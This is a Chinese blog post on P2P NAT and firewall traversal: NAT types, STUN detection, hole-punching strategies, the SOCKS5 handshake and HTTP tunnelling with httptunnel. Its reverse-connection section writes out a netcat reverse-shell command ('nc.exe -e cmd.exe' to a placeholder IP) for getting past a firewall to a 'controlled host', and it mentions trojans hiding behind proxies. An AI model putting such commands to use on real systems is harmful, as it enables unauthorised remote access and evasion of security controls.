Total Pageviews

Thursday 24 May 2012

P2P在NAT和防火墙上的穿透

概述

本文主要讨论关于P2P通信的一些常见问题和解决方案。主要内容包含:P2P通信与网络设备的关系、不同的网络设备特征对P2P产生的影响、网络地址转换(NAT)的类型、NAT类型的检测方法、协议防火墙的突破方法、隧道技术、对于不同的NAT类型采取的穿透方法。
目前P2P通信在穿透上至少存在着两个问题:防火墙穿透和NAT穿透,两者对于网络访问的限制是处于不同角度而实现的,其中防火墙是基于网络数据传输安全上的考虑,其行为主要表现为对网络协议和访问端口的限制,实际上每种限制都包含了两个方向:进和出。而NAT则是基于网络地址转换的实现对内网主机进行的保护,目前来说NAT的存在至少存在以下两方面的意义:解决IPV4地址 匮乏的问题和保护网内主机的目的,所以即使将来IPV6解决了IP地址数量上的问题,但出于对内网主机的保护,NAT仍然有其存在的必要。
综上所述,要实现一个完善的P2P程序必须至少突破以上两个方面的限制,当然,实际情况会存在一些无法突破的情况,比如双方都是对称型NAT或对称型与端口限制型NAT的通信,对于此类问题在实际开发时可使用服务器转发或代理服务来处理。文中所提到的P2P通信意为:使用服务器来转发并处理控制信令,客户端结点间直接通信。
特别指出下文中某些地方会使用FW替代“防火墙”,NAT替代“网络地址(端口)转换”。

分类

现在、而今、眼目下~~~~NAT共分为两大类:Cone NATSymmetric NATCone NAT指的是只要源IP端口不变,无论发往的目的IP是否相同,在NAT上都映射为同一个端口,形象的看来就像锥子一样,而Symmetric NAT对于发往不同目的IP的会话在NAT上将映射为不同的端口,也就是不同的会话。 其中Cone NAT又可细分为3类,分别是Full Cone型、Restricted Cone型和Restricted Port Cone。限制的严格程度和对局域网内主机的保护由松到紧依次为:Full ConeRestricted ConeRestricted Port ConeSymmetric NAT
这里“限制”指的是NAT对由外到内的数据包进行审查、过滤,看看数据包的源地址和他发送到的“洞”是否有关系,如果没有那么就将其丢弃(说到这里我忽然想起来可不可以使用原始套接字来伪造一个和这个“洞”有关系的UDP包呢?啊哈哈),NAT是不会对自内而外的数据包进行限制的,那是防火墙的事情。
“由松到紧”指后者不仅继承了前者在限制上的特性,而且自己还添油加醋的干了些坏事,以至于对“由外到内”的数据包比前者有着更严格的限制。例如Restricted Cone限制了外部进入内部的IP,使得只有被打洞IP发出的数据包才允许进入NAT,而Restricted Port Cone不但限制了IP,还限制了端口,使得只有被打洞的IP:PORT才能往这个洞里发送数据,其他任何来自不同于被打洞地址(IP:PORT)的数据包都不能使用这个洞将数据发送到NAT之后。

NAT对会话的映射

这里列出NAT对于内网地址映射到外网地址的一些普遍规律,可将其分为4种情况,以下的Session即为通信双方的链接,具体表现为在NAT上映射的外网IP:PORT。关于本节内容可详见:A Look Inside Network Address Translators

A.       IP不同,忽略其他因素,将映射为不同的Session
B.        IP相同,源端口不同,将映射为不同的Session
C.        IP相同,源端口相同,目的IP相同,目的端口不同,将映射为相同的Session
D.       IP相同,源端口相同,目的IP不同,忽略目的端口,对于不同的NAT可分为不同的情况
a)         Cone NAT:将映射为相同的Session
b)        Symmetric NAT:将映射为不同的Session

以下对四种NAT类型分别予以说明:

全锥形NAT

IP、端口都不受限。只要客户端由内到外打通一个洞之后(NatIP:NatPort -> A:P1),其他IP的主机(B)或端口(A:P2)都可以使用这个洞发送数据到客户端。
映射关系为:Client->NatIP:NatPort->Any,即任何外部主机都可通过NatIP:NatPort发送数据到Clietn上。

受限锥形NAT

IP受限,端口不受限。当客户端由内到外打通一个洞之后(NatIP:NatPort -> A:P1)A机器可以使用他的其他端口(P2)主动连接客户端,但B机器则不被允许。
映射关系为:Client-> NatIP:NatPort->A,即只有来自A的数据包才能通过NatIP:NatPort发送到Client上。

端口受限锥型

IP、端口都受限。返回的数据只接受曾经打洞成功的对象(A:P1),由A:P2B:P1发起的数据将不被NatIP:NatPort接收。
映射关系为:Client->NatIP:NatPort->A:P1,即只有来自A:P1的数据才可通过NatIP:NatPort发送到Client上。

对称型NAT

对称型NAT具有端口受限锥型的受限特性。但更重要的是,他对每个外部主机或端口的会话都会映射为不同的端口(洞)。只有来自相同的内部地址(IP:PORT)并且发送到相同外部地址(X:x)的请求,在NAT上才映射为相同的外网端口,即相同的映射。一个外部地址(X:x)对应一个NAT上的映射,如上图红色三角,每个映射仅接收来自他绑定的外部地址的数据。注:X在这里意为任意一台外部主机,x为这台主机上的任意一个端口。
映射关系为:Client->NatIP:Pa1->A:P1,当Client访问B:P1时,映射关系变为:
Client->NatIP:Pb->B:P1,同理,NatIP:Pa2也就是Client访问A:P2时的映射。

类型识别

既然有着这些不同类型的NAT,那么我们在实际应用过程中就应该对处于不同NAT类型组合之后的终端给出不同的打洞策略(可不是所有NAT类型之后终端的打洞流程都是一样的)。
所以,在给出具体的NAT穿透策略之前,我们需要先识别当前的NAT是什么类型,然后再根据对方的NAT是什么类型,由此得到一个具体的穿透策略。
OK,让我们先看看怎样来识别当前程序所处网络环境中的NAT类型,Let`s get up

STUN类型发现流程

上图是STUN客户端用于识别当前所处网络NAT类型的流程,STUN服务端部署在一台有着两个公网IP的服务器上。其中每个公网IP绑定两个UDP端口,所以,服务端一共有4UDP套接口,假设为:A1:P1A2:P2B1:P1B2:P2。而客户端在一个网络接口(ITF,也就是一个网络设备,一个网卡,一个IP)也开通了2UDP套接口,以保证由不同端口出去的会话被映射为不同的外网端口,保持各个测试之间的数据独立性(个人认为没这个必要)。
在一台主机上使用两个IP主要是用于测试客户端是否是对称性NAT和是否是IP受限型NAT,以此简化服务端测试程序的部署,否则需要将服务端分别部署在两台只有一个公网IP的机器上,且服务端之间需要相互通信以彼此协调动作来响应客户端的请求。在测试时可使用STUN提供的免费测试服务地址:stun.xten.com jstun.javawi.de stun01.sipphone.com

STUN客户端测试结果

测试之后将得到NAT的类型和以下一些数据:
Ø         UDP是否通过:UDP是否被防火墙干掉了?
Ø         是否NAT之后: 本机在公网上还是在NAT之后?
Ø         映射是否相同:映射相同则为Cone NAT,否则就是对称型
Ø         IP是否受限:如果是Cone NAT,那么是否存在受限IP的特性   
Ø         PORT是否受限:如果是Cone NAT,那么是否存在受限端口的特性   
Ø         NAT是否环回:这个~~~说来话长,祥见附录中对他的描述,如果通信双方在一个NAT之后且这个NAT不支持环回的话,那么可换作使用对方的内网地址进行通信。
Ø         端口是否保持:局域网内的源端口是否和NAT之后的端口一致,如果在路由器上做端口映射时会产生这种情况(其实我比较怀疑这个设计的初衷是测试是否是Cone NAT,但看过代码后实现目的居然是前者~~不管啦,总之这个测试没什么实际用途)

STUN类型发现流程中使用的过程说明

下面分别对几个测试过程的目的和原理进行说明:

Ø         TestI:使用端口1发送消息给A1:P1,测试是否能收到响应,以验证UDP是否能通过
Ø         TestI2:使用端口1发送消息给A2:P2,比较响应中的MappedAddress2Test1收到的MappedAddress1是否相同,以验证NAT是否对不同的目的地址进行了相同的映射
Ø         TestI3:使用端口1发送消息给本机在NAT上映射的外网IP和端口,即MappedAddress1,测试是否能收到响应,以验证NAT是否环回
Ø         TestII:使用端口2发送消息给A1:P1,令其使用A2:P1回复,测试是否能收到,以验证IP是否受限
Ø         TestIII:使用端口2发送消息给A1:P1,令其使用A1:P2回复,测试是否能收到,以验证端口是否受限
Ø         Binding Mapped Address:使用TestI的响应,其中包含的本机在外网上的映射IP来绑定UDP端口0,若成功绑定则说明这个映射的外网IP就是本机IP,本机之前不存在NAT,我就是一个存在于公网上的主机,否则说明本机在NAT之后。注:在得到本机的映射IP之后也有一些其他方法来判断本机是否处于公网上,例如取本机每个网卡的IP地址和这个映射地址比较,如果存在一个本地IP与之相同则说明这个映射地址就是本机IP,本机处于公网之上,否则就是本机之前存在NAT

穿透

在得知了通信双方各自所处的NAT类型之后,即可对各种不同NAT组合做出相应的穿透策略,由于P2P的对称性,我们只对一个方向的穿透进行讨论。
在对所有NAT类型组合的穿透可行性进行证明之前,这里再重申一下前面提到的一个重要概念:锥形NAT对于来自内网中同IP同端口的数据都使用相同的映射,即在NAT上映射的是相同的端口和外网IP。对于打洞双方来说保持端口的这个特性是很重要的,简单说明如下:只要对方知道你是锥形NAT,然后往服务器告知他你的这个洞里发数据,在这一步不论你能否收到,对于对方来说,也不论他是什么样的NAT,至少使得他向你“打了一个正确的洞”,这样的结果就是:下一步对方可以使用这个洞接收来自你的包(因为你是锥形NAT,发往对方的源地址,也就是NAT上的那个洞是不会变的)。此时如果对方是锥形NAT,那么他一定能收到,如果是对称型NAT,那么下文做出了跟详尽的说明。
设通信双方为ABNAT分别是NaNbS是服务器。NAT类型简写对应:全锥形->FC,限制锥形->RC,端口限制锥形->PC,对称型->SN。还需要说明的是:下文所提到的“双方建立连接”意为双方在打洞之后而进行的直接的数据传输,而不是通常认为的“TCP是基于连接的“或是“UDP是无连接的协议”这样的概念。

其中一个具有公网地址的情况

假设具有公网地址的为A,那么,A通知SA希望与B建立通信,然后S转告B,让B主动连接A的公网地址,当B连接到A之后,A就可以通过BA打的洞与B进行通信了,而无论B是何种类型的NAT(因为这个洞已经明确了是BA打的,并不是A借用B向其他人打的洞,至少这个洞对于Nb来说是B专门为A打的)。
所以只要其中一个节点具有公网地址,就可以实现双方的直接通信。

其中一个是FC的情况

Na         Nb
FC        FC
             RC
              PC
              SN
       假设NaFC,由于FC的特性:内网中同主机同端口与外部的所有通信都使用同一个洞,当这个洞被打开后,所有外部主机都可以使用这个洞向这个内网地址(IP:PORT)发送数据。所以只要其中一方是FC,就可以实现双方的直接通信。
这些组合的打洞流程如下:A通知S,让S通知BA已经存在的那个洞发送数据。那么A是肯定可以收到B发来的这个包的,这时A再回复B,则AB间的链路成功建立。而不论Nb是什么类型(原因同“其中一个具有公网地址的情况“)。

其中一个是RC的情况

Na         Nb
RC        FC
             RC
              PC
              SN
RC->FC属于“其中一个属于FC的情况“,上面已经证明过,跳之。
RC->RCB发包给A(锥形NAT对于所有会话都使用同一个端口,所以现在他们是互相知道彼此在NAT上映射的外网地址的),此时将会被Na丢掉,因为在这个时候Na之上的洞认为:此洞为S而开(此洞在A登陆S的时候就打好了),只有S的端口可以往此洞发包(Na是受限型NAT)。但这个操作将使Nb上的洞改变属性为:此洞已向A发包,以后就可以接收来自AS的包了。那么接下来A再向B发包B将收到。同理,在AB发包之后,Na上的洞也修改了属性:此洞已向B发过包,以后将可以接收来自AS的包,然后B再回复给A,则连接成功建立。(考虑到说明的简洁性,描述中省去了双方和S的交互过程,实际编码流程中需要自行加上,下同)
       RC->PCBA发包,那么将被Na丢弃,同时Nb的洞会改变属性为:此洞已向ANa上的地址(IP:PORT)发过包(注意这里带上了端口,因为NbPC型,只能接收来自曾经向外打过洞的IP和端口数据),然后AB发包B将收到(Nb已经记录了通向Na是合法的,同样,来自Na的数据也就是合法的了,同时Na也就改变属性认为:以后来自B的数据是合法的),这时B再回复A,连接就成功建立了。其实这个过程和RC->RC是一样的,只是为了说明第一步BA发包之后NAT B对洞B做出了不同的解释,同时这也是Nb(端口限制锥型)对于外来数据更为严格的限制。
       RC->SNBA发包(在Nb上产生一个新的映射端口,但B自己也不知道是多少),
然后AB发包(这里目的地址是B通向S的那个洞,因为到目前位置Nb上对A产生的新的那个洞AB双方都还不知道是多少,但此时对于Na来说:Na以后将能接收来自Nb的包,不论端口,因为NaIP受限型的,但端口不受限),接着,B再使用新的映射向A发包,现在A就可以收到了,而且A从收到的IP来看,可以取出源地址,即Nb上对A的新的那个映射。然后A再使用得到的Nb上对A的映射回复,这时B将能收到这个包,连接成功建立。
       由此还可得另一个不幸的结论:如果APC,那么在第三步 B再使用新的映射向A发包之后,A将无法收到这个包,因为在第二步的时候Na上的洞被认为是“向Nb上老的那个映射开的洞“,而此时又收到了一个来自Nb上新的那个映射的包,对于Na来说是不认识这个包的,他来自一个”自己没有发送过数据包的IP和端口“。所以在PCSN组合的情况下,将永远无法建立连接。

其中一个是PC的情况

Na         Nb
PC        FC
             RC
              PC
              SN
去除上面已经证明过的组合,这里仅剩下PC->PC的情况,打洞流程如下:
BA发包,被Na丢弃,同时Nb的洞修改为:以后可接收来自Na的数据
AB发包,B收到,同时Na的洞修改为:以后可接收来自Nb的数据
BA发包,A收到,连接成功建立

其中一个是SN的情况

Na         Nb
SN        FC
             RC
              PC
              SN
去除上面证明过的组合,就只剩下SNSN了,但很不幸,这种组合是不可能通过打洞而实现直接通信的。道理很简单,这里就不再给出相应证明。

总结

如果双方都是对称型NAT那么将无法进行穿透,这时可令其中一方(假设为A)使用代理转发,而对方此时就可以和具有公网地址的代理服务器直接通信,对于B来说就像是A具有公网地址一样。
       如果双方一个是PC,一个是SN,也无法进行穿透,解决方案同上。
       除上述两种组合之外,剩下所有组合类型都可直接进行P2P的穿透

大部分防火墙对于局域网内“从内到外“的数据包都会开放http协议和80端口,所以当客户端登陆到登陆服务器时最好使用http协议和开放80端口的http服务,这样可以避免被防火墙拦截掉。实际中的软件如qqskype在登陆时也都是如此,qq登陆后在命令行中输入netstat –abn 可以看到qq的进程使用了一个TCP连接,目的端口为80,状态为ESTABLISHED

NAT对于一个UDP在其上的映射地址存在一个老化时间,如果双方在这个时间内没有至少一个数据包发送,NAT会认为这个连接已经不再需要并将其回收,所以在实际应用中客户端需要发送心跳包到服务器以保持NAT上的映射。

穿越

前面提到过FW主要基于两个方面的限制:
1.     协议限制:可通过隧道技术把受限协议封装成不受限协议而骗过FW,接收后再把封装的数据包解开。比如对于屏蔽了UDP而开放HTTP的防火墙在发送端可使用HTTP格式来包装UDP封包而骗过FW。具体穿越方法详见 “HttpTunnel翻墙” 一节。
2.       端口限制的解决方式:使用防火墙开放的端口,大多数防火墙都会开放一些常用端口,比如我们可以使用FW开放的80端口再加上http隧道或使用80端口的代理服务器来绕过防火墙。

目前使用较为广泛的防火墙穿透技术有:

反向连接

鉴于多数防火墙“外紧内松”的特性,我们可以将监听端放在FW外边,而在FW内部发起向外的连接,以绕过防火墙由外到内的严格封锁。
比如使用NC反向连接受控端给控制者就可以这么干:先在本机开启nc监听: nc –l –p 8888 注意你的网络情况,公网还是端口映射?自己搞定。然后到受控主机执行: nc.exe -e cmd.exe 你的IP 8888,意为将cmd.exe的输入输出重定向到指定的IP和端口,也就是在监听方得到了客户端的一个SHELL,而防火墙此时并不知道到底是谁在折腾谁~~

隧道

采用FW允许的隧道协议包装应用程序的自定义协议,主要用于突破防火墙的协议封锁,例如:Http隧道、SOCKS隧道、SSL隧道等等。附录中有包含HttpTunnel的使用及说明。

代理转发

可绕过防火墙的IP封 锁、端口封锁、协议封锁,这是比较万能而且通用的突破方法,缺点就是需要部署代理服务器,并且需要在终端之间转发数据包,从而降低端到端的通信速率,不能 实现端到端的直接通信,对于一些实时性要求不高和通信量不大的应用来说倒是一个比较好的选择,例如一些木马程序(当然这时候对代理服务器的选择需要做一些 手脚,否则别人一抓包就知道了你的代理服务器地址)和远程控制软件。

附录

概念及名词

我们经常使用的代理服务器按协议类型大致包含:SSL代理、FTP代理、Http代理、SOCKS代理、Gopher代理,也就是说这些代理服务分别支持了不同的网络协议,以针对不同协议的代理客户端,某种协议的代理服务器和其客户端自然就是使用那种指定的协议进行通信的。
普遍地,代理服务至少有着以下几个作用:
1.       代理一些在物理上与Internet不通的内网主机连接到Internet
可以通过在局域网内一台可以连接上Internet的主机上安装代理服务端程序,然后在需要上网的其他主机上安装代理客户端软件,使代理服务器的地址都指向那台可以上外网的主机,然后这些代理客户端主机上的网络通信就都会被转发到代理服务器上了。有一个通用的程序(Permeo Security Driver)可以实现对大部分软件的代理转发而不需要在具体的软件上进行代理设置他通过在网卡驱动一级截获需要转发的数据包,然后将其转发往指定的SOCKS5代理服务器而实现。Permeo Security Driver的原理与使用参见:http://blog.csdn.net/nivana999/archive/2009/12/06/4951241.aspx
2.       使内网中的主机连接外网的代理服务器从而穿过在协议或端口上封锁的内网防火墙(此防火墙在内网主机和外网的代理服务器之间),这一点也是P2P终端在无法进行直接P2P时选用的转发方法之一,仅需要转发一方即可,因为转发后终端地址就变成代理服务器的公网地址,而双方只要至少一方拥有公网IP就可以成功的实现P2P,只是目前已经变为一个终端与代理服务器P2P了,代理服务器负责转发本方终端的数据包。
3.       代理一些通过直接连接目的主机但被屏蔽的客户端,客户端通过代理转发后可绕过原有访问目的主机的限制,从而达到访问被屏蔽主机的目的。
4.       对于远端服务器来说屏蔽原始发送端的IP和端口,为发送端提供安全保护,不至于轻易地暴露出原始发送者,因为远端主机接收到数据包之后能够得到的只是代理服务器的IP和端口,仅从数据包上是无法得知最终的原始发送者的,除非他查找代理服务器的代理映射表,于是,很多黑客就是通过多层代理转发而实现隐蔽自己的目的。
代理服务器的原理:
代理服务器是部署在局域网和外部Internet之间的中间代理机构,负责局域网内主机和外部Internet主机之间的数据转发,其中,网内主机通过指定协议(具体得看代理服务器支持什么样的协议)与代理服务器通信(这里发给代理服务器的数据包是经过代理协议封包之后的,其中包有客户端期望与远端服务器通信的原始协议数据包),当代理服务器收到网内主机发过来的包之后对其进行解释,然后剥离出原有的原始协议数据,再将其原样发送到真实目的主机,收到远端主机回复后将其进行协议封包(具体得看代理服务器使用什么协议与代理客户端通信),网内主机收到,然后对其进行代理协议解释,最终剥离出真实协议数据。
代理协议封包的目的是为了代理服务器和代理客户端之间进行通信,当代理服务器与外界进行通信时将 剥离出原有封包内的真实协议数据,也就是说我们可以使用代理协议来骗过防火墙,让他认为我们只是在使用他允许的代理协议进行通信,而不对这些数据包进行协 议过滤,前提是防火墙必须开放这个代理协议的限制,使其畅通无阻。
从上面的论述可得知:当我们自己的协议或发往的目的端口被防火墙封锁时,可通过在防火墙外部署一台代理服务器,然后使用防火墙允许的协议(HttpSocks)通信并使用防火墙允许的端口作监听,使得我们的程序可以透过防火墙与代理服务器通信(FW允许的协议、允许的端口)。继而,我们可以在代理协议中封装自己的协议数据包(如果是Http的话需要使用Https,参见http://blog.csdn.net/nivana999/archive/2009/12/06/4951241.aspx一文,如果SOCKS5就不需要了,SOCKS5本身就是一个使用二进制的代理协议),当代理服务器解释代理协议包之后将会使用真实的协议数据包发往远端目的主机,在收到远端主机的回复后,将其进行代理协议封包发往网内主机,网内主机再对其进行代理协议解释,从而得到真正可用的数据。
在整个过程中,网内主机与代理服务器之间使用代理协议进行通信,而代理服务器与目的主机之间使用网内主机原始期望的协议通信(在没有使用代理服务器时客户端与服务端通信的协议)。

SOCKS5是一个网络代理协议,出自RFC1928,由于SOCKS5对于防火墙来说隐藏了在其中传输的自定义协议数据(SOCKS5客户端通过将自定义协议数据进行SOCKS5协议封包然后发送到代理服务器),使得防火墙只知道传输的是SOCKS5数据包,所以当FW封锁了终端协议而使其不能进行直接的P2P时,此协议可作为转发的方案之一。前提是需要提供SOCKS5代理服务器,不过可以先试用网上众多的免费代理服务器。

SOCKS5代理的工作流程
1.客户端向代理服务器发出请求信息
2.
代理服务器回复响应给客户端
3.客户端接到应答后向代理服务发送需要连接到的目的IP和端口
4.
代理服务器与目的主机连接
5.
代理服务器将客户端发出的信息传到目的主机,再将目的主机回复的信息传到客户端,代理完成。
然后客户端对代理服务器发送的所有信息都会被如实的转发给目的主机,同样地,目的主机发送的所有信息也会被代理服务器如实地转发给客户端,客户端和服务器的连接就像 什么也没有发生过一样。
由于网上的信息传输都是运用TCPUDP进行的,所以使用SOCKS5代理可以办到网上所能办到的一切,而且不用担心对方会查到你的IP端口,既安全又方便 SOCKS5支持UDPTCP。但两种代理是有区别的,以下分类说明
SOCKS5代理TCP协议
1.向服务器的1080端口建立tcp连接。
2.
向服务器发送 05 01 00 (此为16进制码,以下同)
3.
如果接到 05 00 则是可以代理
4.
发送 05 01 00 01 + 目的地址(4字节) + 目的端口(2字节),目的地址和端口都是16进制码(不是字符串!!)。 例202.103.190.27 -
7201
则发送的信息为:05 01 00 01 CA 67 BE 1B 1C 21 (CA=202 67=103 BE=190 1B=27 1C21=7201)
5.
接受服务器返回的自身地址和端口,连接完成
6.
以后操作和直接与目的方进行TCP连接相同。

SOCKS5代理UDP连接
1.向服务器的1080端口建立udp连接
2.
向服务器发送 05 01 00
3.
如果接到 05 00 则是可以代理
4.
发送 05 03 00 01 00 00 00 00 + 本地UDP端口(2字节)
5.
服务器返回 05 00 00 01 +服务器地址+端口
6.
需要申请方发送 00 00 00 01 +目的地址IP4字节)+目的端口 +所要发送的信息
7.
当有数据报返回时 向需要代理方发出00 00 00 01 +来源地址IP4字节)+来源端口 +接受的信息
:此为不需要密码的代理协议,只是SOCKS5的一部分,完整协议请RFC1928

隧道技术指的是将自定义的协议数据包封装为隧道指定协议,隐藏原始协议数据,使之能够在现有的网络状况下进行传输,而不用修改网络设置。这种技术可用于突破协议封锁的防火墙,前提是“隧道协议”是防火墙所允许通过的。
自然,隧道使用双方负责对隧道协议数据包的构造和解释,这里指的“隧道协议”可以是各种双方事前协商好的协议,只要他能够在网络中进行端到端的传输即可。但实际使用中考虑到隧道的兼容性和通用性问题,通常使用的协议有HTTPSOCKSSSL(安全套接字),下面我们以http隧道为例来说明。

概述

大多数的防火墙都会被设置为“外紧内松”型,对于外界进入的数据包进行严格的过滤和阻挡,但内部出去的就不是那么严格了,比如他们对于从外到内的协议有可能仅仅开放http等一些常用协议,端口也只开放一些常用端口,例如80
为了绕过防火墙对一些非Http协议的封锁,在P2P的终端节点间可使用Http隧道技术,注意,这里的Http隧道和Http代理没有任何直接关系,只不过使用隧道的数据包可以经过Http代理服务器转发而已,但这一点对于隧道来说并不是必须,隧道仅仅是一个使用什么样的协议来封包的概念,和具体使用什么样的网络结构、数据包转发与否无关。在P2P应用中如果只是为了穿透封锁了协议和端口的防火墙,那么就可以直接使用端到端的Http隧道,(HttpTunnel翻墙”一节将会说明这种用法的使用前提),而无需使用Http代理服务器进行转发,这样做第一节约了代理服务器在转发中消耗的时间,第二节省了代理服务器在转发时消耗的网络和计算资源,从而也不用搭建大量的代理服务器。
       让我们来说明一下什么是Http隧道吧:在发送端使用http包头将需要发送的自定义协议数据进行Http封包,接收端在收到后对其进行Http解包,解释之后的数据才是发送端发送的真正协议数据,使用这样一个包头只不过是为了躲过防火墙的协议过滤,使其看起来这是一个允许通过的合法协议。同理,如果防火墙只开放了80端口,那么我们可以在80端口上使用Http隧道,唯一的要求是对方的80端口没有被占用,可以成功绑定监听,随之我们就可以使用Http隧道将数据包发往对方的80端口了,对方收到后再进行Http的解包,得到真正有用的自定义协议数据。
需要明确的是:隧道不会改变应用程序数据包,仅仅对其进行封包和解包操作,原始的数据使用双发甚 至不用关心隧道使用何种协议,因为服务端收到解包之后的数据和客户端在封包之前发送的数据包是一样的,隧道也不关心这个数据包是干什么的,他只负责原样转 发。所以,从协议层次的角度来看,HttpTunnel相当于一个应用层的包装协议。
关于Http隧道更详细的内容可参见http://www.nocrew.org/software/httptunnel.html,这里提供了对Http隧道的Linux源码和Windows的可执行文件,源码中的htc.c为客户端,hts.c为服务端。

穿透

来自http://www.nocrew.org/software/httptunnel.htmlHttpTunnel使用了TCP作为隧道双方的基础协议,然后在上层构建Http封包。所以,即便是在通信双方都得知对方的公网IP和端口的情况下, UDP打洞的P2P应用仍然无法直接使用现有的HttpTunnel项目(UDP打洞得到的端口不可能让TCP使用),除非将应用扩展为使用TCP打洞,或者使用代理服务器,但后者将会增加转发数据包带来的开销。
不可幻想使用原始套接字自行封装传输层及其以上协议来解决此问题,此法在技术和理论上虽然可行,但那样带来的后续问题和工作量将会远远超过“使用TCP打洞”方案,除非你想发明一种更好的穿墙技术甚至一种传输层协议 : -)
所以,如果非要在“不使用代理”而又要“穿越防火墙”的情况下进行P2P的话,目前而言最佳的选择只有“使用TCP打洞”,在TCP打洞成功后即可使用HttpTunnel在终端间进行传输,达到既穿墙又直接传输数据的目的。
       HttpTunnel的具体使用如下(写不动了,抄一点吧~~~~L 以下文字摘自百度)
用这个软件需要服务端做配合,要运行httptunnel的服务端,这种方法对局域网端口限制和协议限制很有效。
隐通道技术就是借助一些软件,可以把防火墙不允许的协议封装在已被授权的可行协议内,从而通过防火墙,端口转换技术也是把不允许的端口转换成允许通过的端口,从而突破防火墙的限制。这类技术现在有些软件可以做到,HACKER经常用到这类技术。
HTTPTunnelTunnel这个英文单词的意思是隧道,通常HTTPTunnel被称之为HTTP暗道,它的原理就是将数据伪装成 HTTP的数据形式来穿过防火墙,实际上是在HTTP请求中创建了一个双向的虚拟数据连接来穿透防火墙。说得简单点,就是说在防火墙两边都设立一个转换程序,将原来需要发送或接受的数据包封装成HTTP请求的格式骗过防火墙,所以它不需要别的代理服务器而直接穿透防火墙。HTTPTunnel刚开始时只有Unix版本,现在已经有人把它移植到Window平台上了,它包括两个程序,htchts,其中htc是客户端,而hts是服务器端,我们现在来看看我是如何用它们的。
比如开了FTP的机器的IP 192.168.1.231,我本地的机器的IP192.168.1.226,现在我本地因为防火墙的原因无法连接到 FTP上,现在用HTTPTunnel的过程如下:
第一步:在我的机器上(192.168.1.226)启动HTTPTunnel客户端。启动MS-DOS的命令行方式,然后执行htc -F 8888 192.168.1.231:80命令,其中htc是客户端程序,-F参数表示将来自192.168.1.231:80的数据全部转发到本机的8888端口,进入8888的数据通过http封包后转发到192.168.1.231:80,这个端口可以随便选,只要本机没有占用就可以。然后我们用Netstat看一下本机现在开放的端口,发现8888端口已在侦听。
第二步:在对方机器上启动HTTPTunnel的服务器端,并执行命令“hts -F localhost:21 80,这个命令的意思是说把本机21端口发送的数据都转到80端口后再发出去,并且开放80端口作为侦听端口,80端口进来的数据都转到21上,再用Neststat看一下他的机器,就会发现80端口现在也在侦听状态。
第三步:在我的机器上用FTP连接本机的8888端口,现在已经连上对方的机器了,快点去下载吧!
      
可是,人家看到的怎么是127.0.0.1而不是192.168.1.231的地址?因为我现在是连接本机的8888端口,防火墙肯定不会有反应,因为我没往外发包,当然局域网的防火墙不知道了。现在连接上本机的8888端口以后,FTP的数据包不管是控制信息还是数据信息,都被htc伪装成HTTP数据包然后发过去,在防火墙看来,这都是正常数据,相当于欺骗了防火墙。
需要说明的是,这一招的使用需要其他机器的配合,就是说要在他的机器上启动一个hts,把他所提供的服务,如FTP等重定向到防火墙所允许的80 端口上,这样才可以成功绕过防火墙!

一个用来检测NAT类型的协议(RFC3489),全称为Simple Traversal of User Datagram Protocol Through Network Address Translators,检测客户端程序所处的主机是否位于NAT之后,如果在NAT之后,那么这个NAT是什么类型,并可获取通过此NAT映射后的外网地址。如果你的client为于多个NAT之后,那么stun检测出的NAT结果将是这些NAT当中限制最严格的一个。 需要注意的是:按照RFC的实现,服务端程序需要运行在有着两个不同外网地址的主机上,此要求用于测试客户端是否是对称性NAT和是否是IP受限型NAT。如果不想自己搭建测试服务器也可以使用stun随时开放且免费提供的:
stun.xten.com
jstun.javawi.de
stun01.sipphone.com
网上有着STUN的一个默认实现 (部分细节实现不同于RFC的描述),下载下来可直接运行。

(hairpin)

如果一个路由器支持环回,那么在这个路由器之后的两个客户端将可以使用对方的外网地址(客户端在路由器映射的地址,IP:PORT)进行通信,否则发送到对方外网地址(与路由器的外网IP、发送方的外网IP一致)的包将不能被路由器转发到对应的内网地址,这时只能通过对方的内网地址进行通信。
对环回的测试:当一个处于路由器之后的主机得到了路由器给他映射的外网地址(A1:P1)之后,可以通过对这个地址发送数据包(也就是给自己发送数据包,只不过是自己的外网地址罢了),如果自己能收到这个数据包,就说明当前路由器支持环回。
当你使用telnet去测试一个127.0.0.1上可用的端口时,如果成功就说明当前你所使用操作系统实现的路由机制提供了环回支持。同样地,通过telnet本机的外网IP和本机在此IP上开放的监听端口亦可测试出当前使用的路由器是否支持环回。

from http://blog.csdn.net/nivana999/article/details/5311942
---------------------------------------------------------------------------
 几种建立http-tunnel的方法

GNU HTTP Tunnel (http://www.nocrew.org/software/httptunnel.html)是一个开源的http-tunnel项目,包括了tunnel server(hts命令)和tunnel client(htc命令),有(x)nix和windows版本。我们就用它来建立自己的tunnel。
1。静态tunnel。
        http-tunnel是一个完全透明的通道,直接将你的连接forward给目标服务端口,因此当你连接tunnel的本地侦听端口时,就相当于直接连接到目标服务端口。例如你要建立一条可以访问外部POP3服务器的隧道,可以建立如下连接:

                    htc  ------------> http proxy ------------------------> hts ------------------------------> POP3 serve
        (localhost:8888)             (proxyhost:3128)       (tunnelserver:80)                           (pop3server:110)
在你自己的机器上运行htc,外部充当tunnel server的机器上的80端口运行hts,htc将数据打包成http请求,通过proxy连接到hts,hts解包后将连接forward给POP3服务器。命令如下:
      在tunnel server机器上:
            hts --forward-port pop3server:110 80       
            (将pop3server替换成实际的IP)
      在本地机器上:
            htc --forward-port 8888 --proxy proxyhost:3128 tunnelserver:80 
            (将proxyhost和tunnelserver替换成实际的IP)

      通过这样的配置,你可以用Outlook或Foxmail连接本机的8888端口,就相当于直接连接到POP3服务器了。

2。动态的tunnel。
        上面建立了一条可以访问POP3服务的隧道,但缺点是只能访问某一个指定的POP3服务器,要访问其他的服务器还得按同样的方法再建立一条隧道,很不方 便。既然hts可以将连接forward给POP3服务器,那让它forward给一个SOCKS5服务,不是就可以实现动态的tunnel,可以连接任 意服务了吗?yeah!没错!我们建立这样的连接:

                    htc  ------------> http proxy ------------------------> hts ------------------------------> SOCKS5 serve
        (localhost:8888)             (proxyhost:3128)       (tunnelserver:80)                           (socks5server:1080)

命令就不说了,照第一点改一下就行。这样就相当于在localhost:8888运行了一个SOCKS5服务(现在你的应用程序数据在发往8888之前,需要先封装为SOCKS5数据包),设置一下你的网络程序(Outlook,NetAnt,FlashGet,QQ......),让他们通过SOCK5访问网络,就OK了。

3。利用http proxy的CONNECT支持。
        大多数http proxy支持CONNECT命令,但一般只支持CONNECT到外部服务器的443(https)端口。这是为了允许访问外部的https服务。由于 porxy对于CONNECT的连接是直接转发,不做任何分析处理或缓存,所以利用CONNECT可以获得比较快的速度。
